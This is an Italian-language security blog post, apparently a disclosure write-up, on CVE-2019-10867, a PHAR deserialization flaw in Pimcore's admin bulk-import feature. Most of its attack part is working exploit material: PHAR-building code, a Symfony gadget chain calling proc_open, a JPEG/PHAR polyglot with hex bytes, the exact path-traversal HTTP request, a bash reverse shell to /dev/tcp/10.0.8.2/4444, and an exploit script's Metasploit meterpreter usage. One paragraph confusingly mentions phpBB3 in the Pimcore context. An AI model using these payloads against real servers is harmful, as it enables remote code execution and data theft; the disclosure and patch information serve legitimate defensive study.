Weak password or weak hash function
A new tragedy
Dario Ragno
Una nuova tecnica di PHP exploitation colpisce il più famoso software PIM, DAM ed eCommerce. La vulnerabilità consente agli aggressori che ottengono l'accesso a un account amministratore di eseguire codice PHP arbitrario e di assumere il controllo dell'intero PIM.
Il bug si trova nella funzionalità di Bulk Import in Settings -> Data Objects nel pannello di amministrazione di Pimcore e richiede i privilegi di "Admin". Questo è l'unico requisito per poter sfruttare la vulnerabilità.
Rispettando questo requisito, un utente malintenzionato può trasformare una vulnerabilità di Phar PHP Object Injection in una Remote Code Execution (o RCE) che consente di eseguire ulteriori attacchi e di rubare dati sensibili.
Innanzitutto, un utente malintenzionato deve essere in grado di caricare sul web server target un file PHAR creato ad-hoc. Abbiamo trovato alcuni trucchi per inserire un file PHAR in una JPEG, quindi una classica funzionalità di image upload è più che sufficiente, persistente e agisce come una backdoor.
Questo può non sembrare così critico perché se un utente malintenzionato può controllare il percorso completo del file in operazioni come include()
, fopen()
, file_get_contents()
, file()
, ecc., ciò pone già un grave problema di sicurezza. Pertanto, l'input dell'utente utilizzato in queste funzioni è generalmente convalidato.
Tuttavia, la unserialize()
viene attivata per il wrapper phar://
in qualsiasi operazione sui file. Pertanto, altre operazioni sui file, come la file_exists()
che controlla semplicemente l'esistenza di un file, sono state finora considerate meno soggette ai rischi di sicurezza e sono meno ben protette. Ma con questa tecnica un utente malintenzionato può iniettare il wrapper phar://
e ottenere Remote Code Execution.
Il problema è una vulnerabilità di PHAR deserializzation (CVE-2019-10867). Il bug è stato risolto nella versione 5.7.0.
Le vulnerabilità di PHAR deserialization si verificano se l'input dell'utente viene passato a una qualsiasi funzione del file system in PHP, come file_exists()
.
La vulnerabilità in Pimcore risiede in una funzionalità che consente agli amministratori di gestire le risorse. La funzione utilizza un binario dell'editor di immagini chiamato Imagick. Gli amministratori sono in grado di impostare il percorso assoluto del file binario dell'editor di immagini sul server che esegue phpBB3. Prima di aggiornare questa impostazione, phpBB3 tenta di convalidare il nuovo percorso con la funzione validate_config_vars()
. La funzione esegue questa convalida controllando se il file esiste effettivamente.
Il ricercatore Sam Thomas ha scoperto una nuova tecnica di exploitation che può portare a vulnerabilità critiche di tipo PHP Object Injection - senza utilizzare la funzione unserialize()
. La nuova tecnica è stata presentata al BlackHat USA nel talk "It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It". La tecnica consente agli attaccanti di passare da una vulnerabilità relativa ai file ad una Remode Code Execution o RCE.
La maggior parte delle operazioni sui file in PHP consentono di utilizzare vari wrapper URL-style come data://
, zlib://
o php://
quando si accede a un percorso di un file. Alcuni di questi wrapper vengono spesso utilizzati per sfruttare le vulnerabilità di Remote File Inclusion (RFI) dove un utente malintenzionato può controllare il percorso completo del file di una File Inclusion. Ad esempio, i wrapper vengono iniettati per individuare il codice sorgente che altrimenti verrebbe eseguito o per iniettare il proprio codice PHP affinchè venga eseguito.
Finora, nessuno aveva mai prestato attenzione al wrapper phar://
. La cosa interessante dei file PHAR (PHP Archive) è che contengono metadati in formato serializzato.
Una descrizione completa del formato PHAR va oltre lo scopo di questo post, tuttavia cerchiamo di approfondire i punti chiave dal punto di vista della sicurezza. Ci sono alcuni elementi che devono essere presenti in un archivio PHAR perchè sia valido:
<?php__HALT_COMPILER(); ?>
Creiamo un file PHAR e aggiungiamo un oggetto con alcuni dati come metadati:
<?php
// a generic object class
class TestObject {}
// create a new phar
$phar = new Phar("test.phar");
$phar->startBuffering();
// add a file and relative content
$phar->addFromString("test.txt","test");
// add the minimal stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// create the object
$o = new TestObject();
$o->data = 'cmg-fc';
// add the test object as meta data
$phar->setMetadata($o);
$phar->stopBuffering();
?>
Il nostro nuovo file test.phar
ora ha il seguente contenuto. Possiamo vedere che il nostro oggetto è stato memorizzato come stringa serializzata.
Se ora viene eseguita un'operazione sul file PHAR tramite il wrapper phar://
, i metadati serializzati vengono deserializzati. Ciò significa che l'oggetto iniettato nei metadati viene caricato nell'ambito dell'applicazione. Se questa applicazione ha una classe denominata TestObject
e nella stessa sono definiti i metodi "magici" __destruct()
o __wakeup()
, questi metodi vengono automaticamente richiamati. Ciò significa che possiamo attivare qualsiasi distruttore o metodo di riattivazione nella base di codice. Ancora peggio, se questi metodi operano sui dati iniettati, ciò può portare a ulteriori vulnerabilità.
La versione 5.x di Pimcore si basa su Symfony. Per attivare il metodo __destruct()
possiamo usare una gadget chain per Symfony come la seguente:
namespace Symfony\Component\Cache\Traits
{
use \Psr\Log\LoggerAwareTrait;
trait AbstractTrait
{
use LoggerAwareTrait;
private $namespace;
private $deferred;
}
}
namespace Psr\Log
{
trait LoggerAwareTrait
{
}
}
namespace Symfony\Component\Cache\Adapter
{
use \Symfony\Component\Cache\Traits\AbstractTrait;
abstract class AbstractAdapter
{
use AbstractTrait;
private $mergeByLifetime = 'proc_open';
function __construct($command)
{
$this->deferred = $command;
$this->namespace = [];
}
}
class ApcuAdapter extends AbstractAdapter
{
}
}
Possiamo definire qualsiasi tipo di script come payload e creare l'oggetto serializzato:
$payload = "bash -i >& /dev/tcp/10.0.8.2/4444 0>&1"; // Simple Bash reverse shell, on attacker side: 'nc -l -p 4444'
$o = new \Symfony\Component\Cache\Adapter\ApcuAdapter($payload);
Per attivare la PHAR deserialization è necessario fornire il percorso locale al file PHAR sul server di destinazione. Ciò significa che un utente malintenzionato deve caricare il file PHAR malevolo sulla destinazione. Pimcore consente all'amministratore con l'autorizzazione sulle risorse di caricare file, inclusi file PHAR...
Ma vogliamo fare le cose nel modo giusto e caricare un'immagine (o sostituirne una esistente)!
A volte ce lo dimentichiamo, ma i file sono solo un mucchio di byte che seguono una struttura predefinita. Le applicazioni verificheranno se sono in grado di gestire tale flusso di dati e, in caso di successo, produrranno un output.
Quello che vogliamo fare è creare un file che sia allo stesso tempo un file PHAR valido e un'immagine JPEG!
Prima di tutto, i file Phar sono indipendenti dall'estensione. Se il file evil.phar
fosse rinominato in evil.jpg
, l'esempio sopra in cui si innesca la PHAR deserialization continuerebbe a funzionare.
Quindi, ci sono tre formati di base in cui è possibile memorizzare i dati all'interno di un archivio PHAR: PHAR, Zip e Tar. Ognuno dei quali offre diversi tipi e gradi di flessibilità. Il formato PHAR ci consente il controllo completo dell'inizio di un file. Lo stub minimo può essere preceduto da qualsiasi dato arbitrario ed è la prima cosa che compare nel file. Secondo la documentazione non ci sono restrizioni sul contenuto di uno stub PHAR, ad eccezione del requisito che si conclude con __HALT_COMPILER();
.
Quindi possiamo iniziare lo stub con l'intestazione di un file JPEG. Il nostro script diventa qualcosa del genere (dove \xFF\xD8\xFF\xFE\x13\xFA\x78\x74
è l'esadecimale dell'intestazione del formato file JPEG):
<?php
// a generic object class
class TestObject {}
// create a new phar
$phar = new Phar("test.phar");
$phar->startBuffering();
// add a file and relative content
$phar->addFromString("test.txt","test");
// add the minimal stub
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
// create the object
$o = new TestObject();
$o->data = 'cmg-fc';
// add the test object as meta data
$phar->setMetadata($o);
$phar->stopBuffering();
// rename phar to jpg
rename("test.phar", "test.jpg");
?>
Sarà un file PHAR e un'immagine JPEG valida?
root@kali:~# file test.jpg
test.jpg: JPEG image data
root@kali:~# php -a
Interactive mode enabled
php > var_dump(mime_content_type('test.jpg'));
string(10) "image/jpeg"
php > var_dump(file_exists('phar://test.jpg/test.txt'));
bool(true)
php >
PHP lo riconosce come immagine e possiamo ancora esplorare i contenuti dell'archivio!
Abbiamo un file che passerebbe qualsiasi controllo basato sulle intestazioni dei file, tuttavia un controllo più sofisticato fallirebbe. Ad esempio, il controllo dell'immagine con getimagesize()
restituirà false
, poiché non abbiamo un'immagine "reale":
root@kali:~# php -a
Interactive mode enabled
php > var_dump(getimagesize('test.jpg'));
bool(false)
php >
Ma abbiamo visto che possiamo iniettare quanto di più incomprensibile desideriamo prima del token __HALT_COMPILER()
. Cosa succede se creiamo un'immagine completa?
Possiamo semplicemente creare un'immagine 1x1 con GIMP e incorporarla?
<?php
// a generic object class
class TestObject {}
// 1x1 JFIF image/JPEG Hex
$jpeg =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x01\x2C\x01\x2C\x00\x00\xFF\xFE\x00\x18\x43".
"\x72\x65\x61\x74\x65\x64\x20\x62\x79\x20\x46\x61\x62\x69\x6F\x20\x43\x6F\x67\x6E\x6F\xFF\xDB\x00\x43".
"\x00\x03\x02\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0A\x07\x07".
"\x06\x08\x0C\x0A\x0C\x0C\x0B\x0A\x0B\x0B\x0D\x0E\x12\x10\x0D\x0E\x11\x0E\x0B\x0B\x10\x16\x10\x11\x13".
"\x14\x15\x15\x15\x0C\x0F\x17\x18\x16\x14\x18\x12\x14\x15\x14\xFF\xDB\x00\x43\x01\x03\x04\x04\x05\x04".
"\x05\x09\x05\x05\x09\x14\x0D\x0B\x0D\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\xFF\xC2\x00\x11\x08\x00\x01\x00\x01\x03\x01\x11\x00\x02\x11\x01".
"\x03\x11\x01\xFF\xC4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01".
"\xFF\xC4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xFF\xDA\x00".
"\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\x54\x81\x3F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x7F\xFF\xC4\x00".
"\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03".
"\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x7F\xFF\xC4\x00\x14".
"\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00".
"\x01\x3F\x21\x7F\xFF\xDA\x00\x0C\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\xFF\x00\xFF\xC4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03\x01\x01".
"\x3F\x10\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x10\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x3F\x10\x7F\xFF\xD9";
// create a new phar
$phar = new Phar("test.phar");
$phar->startBuffering();
// add a file and relative content
$phar->addFromString("test.txt","test");
// add the minimal stub
$phar->setStub($jpeg." __HALT_COMPILER(); ?>");
// create the object
$o = new TestObject();
$o->data = 'cmg-fc';
// add the test object as meta data
$phar->setMetadata($o);
$phar->stopBuffering();
// rename phar to jpeg
rename("test.phar", "test.jpg");
?>
Ora è il momento di dare un'occhiata:
root@kali:~# file test.jpg
test.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, comment: "Created by Fabio Cogno", progressive, precision 8, 1x1, components 3
root@kali:~# php -a
Interactive mode enabled
php > var_dump(mime_content_type('test.jpg'));
string(10) "image/jpeg"
php > var_dump(file_exists('phar://test.jpg/test.txt'));
bool(true)
php > var_dump(getimagesize('test.jpg'));
array(7) {
[0]=>
int(1)
[1]=>
int(1)
[2]=>
int(2)
[3]=>
string(20) "width="1" height="1""
["bits"]=>
int(8)
["channels"]=>
int(3)
["mime"]=>
string(10) "image/jpeg"
}
php >
Il file è un pacchetto PHAR contenente la classe che vogliamo sfruttare ma è ancora un'immagine valida (può anche essere aperta con il visualizzatore di immagini di sistema)!
Ora possiamo scaricare una risorsa esistente in Pimcore, renderla anche un file PHAR con una gadget chain per Symfony che sfrutta il metodo __destruct()
nei suoi metadati e quindi possiamo ricaricare la nuova immagine nella sezione assets di Pimcore.
L'ultimo passo per sfruttare la PHAR deserialization è trovare un modo per includere il nostro file JPEG/PHAR con il wrapper phar://
in una qualsiasi funzione PHP che lavora sui file.
Fortunatamente, la funzione bulk-commit accetta un parametro chiamato "filename" con il seguente codice (pimcore/bundles/AdminBundle/Controller/Admin/DataObject/ClassController.php):
public function bulkCommitAction(Request $request)
{
$filename = $request->get('filename');
$data = json_decode($request->get('data'), true);
$json = @file_get_contents($filename);
$json = json_decode($json, true);
...
Perfetto! Ora è possibile chiamare la bulk-commit
con il nostro JPEG/PHAR nel wrapper phar://
:
POST /admin/class/bulk-commit HTTP/1.1
Host: 192.168.2.59:8566
X-pimcore-csrf-token: 9e7b89690abdd2515b3dafbb721c7a98f8d153c3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=5lddjap7vkd24lvfv1p67n7ng1; pimcore_admin_sid=1
filename=phar://../../../../../../../../../../../../var/www/html/web/var/assets/test.jpg/test.txt
Al fine di sfruttare più facilmente l'exploit su Pimcore abbiamo creato uno script PHP che può essere scaricato qui.
Di default lo script genera una JPEG di 1x1 pixel ma è possibile passare qualsiasi immagine JPEG per ottenere un esempio più realistico.
Inoltre, lo script genera una reverse shell di base, una PHP meterpreter reverse shell di metasploit o qualunque altro comando venga passato.
root@kali:~# php polyglot_phar_exploit.php -h
This PHP CLI script create a polyglot PHAR (PHP Archive) that is a valid PHAR file and JPEG image at the same time.
The PHAR file contain a Symfony gadget chain in his meta data and exploit __destruct() method executing the passed command.
Usage:
-h This help
-t type The payload. Possible values are:
'msf' for msf php reverse shell (need metasploit)
'nc' for a sh reverse shell
'<your command>' for passing command like 'touch /tmp/findme'
-l IP The local IP address
-p port The local port
-o file The output file
-i file The input file. If no file is passed, create a Polyglot PHAR with a default 1x1px image
root@kali:~# php polyglot_phar_exploit.php -t msf -p 4444 -l 10.0.8.2 -o cmg-phar-msf.jpg -i cmg.jpg
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes
[-] run 'msfconsole -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST 10.0.8.2; exploit"'
filename: cmg.jpg[+] Creation complete successfully!
[-] Payload to send: cmg-phar-msf.jpg/j7NysV.txt
[-] e.g.: filename=phar://../../../../../../../../../../../../var/www/html/web/var/assets/cmg-phar-msf.jpg/j7NysV.txt
root@kali:~# ls -la
...
-rw-r--r-- 1 root root 204771 Apr 28 18:39 cmg.jpg
-rw-r--r-- 1 root root 206695 Apr 28 19:05 cmg-phar-msf.jpg
...
Data | Cosa |
---|---|
08 marzo 2019 | La vulnerabilità è stata scoperta |
14 marzo 2019 | La vulnerabilità è stata testata su diverse versioni e confermata |
15 marzo 2019 | La vulnerabilità è stata segnalata al team di Pimcore |
19 marzo 2019 | Pimcore rilascia la patch con la versione 5.7.0 |
La PHAR deserialization è una nuova tecnica di exploiting in PHP e si verifica in molti popolari CMS. La vulnerabilità consente agli attaccanti di eseguire codice PHP arbitrario sul server.
Questo post spiega come creare un file JPEG/PHAR valido al fine sfruttare la PHAR deserialization in Pimcore. La vulnerabilità è presente in Pimcore da almeno 3 anni. Il bug è stato risolto nella versione 5.7.0.
Vorremmo ringraziare tutto il team di Pimcore per aver gestito prontamente e professionalmente il problema.
Gemma Contini
Daniele Scanu
Fabio Carretto
Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.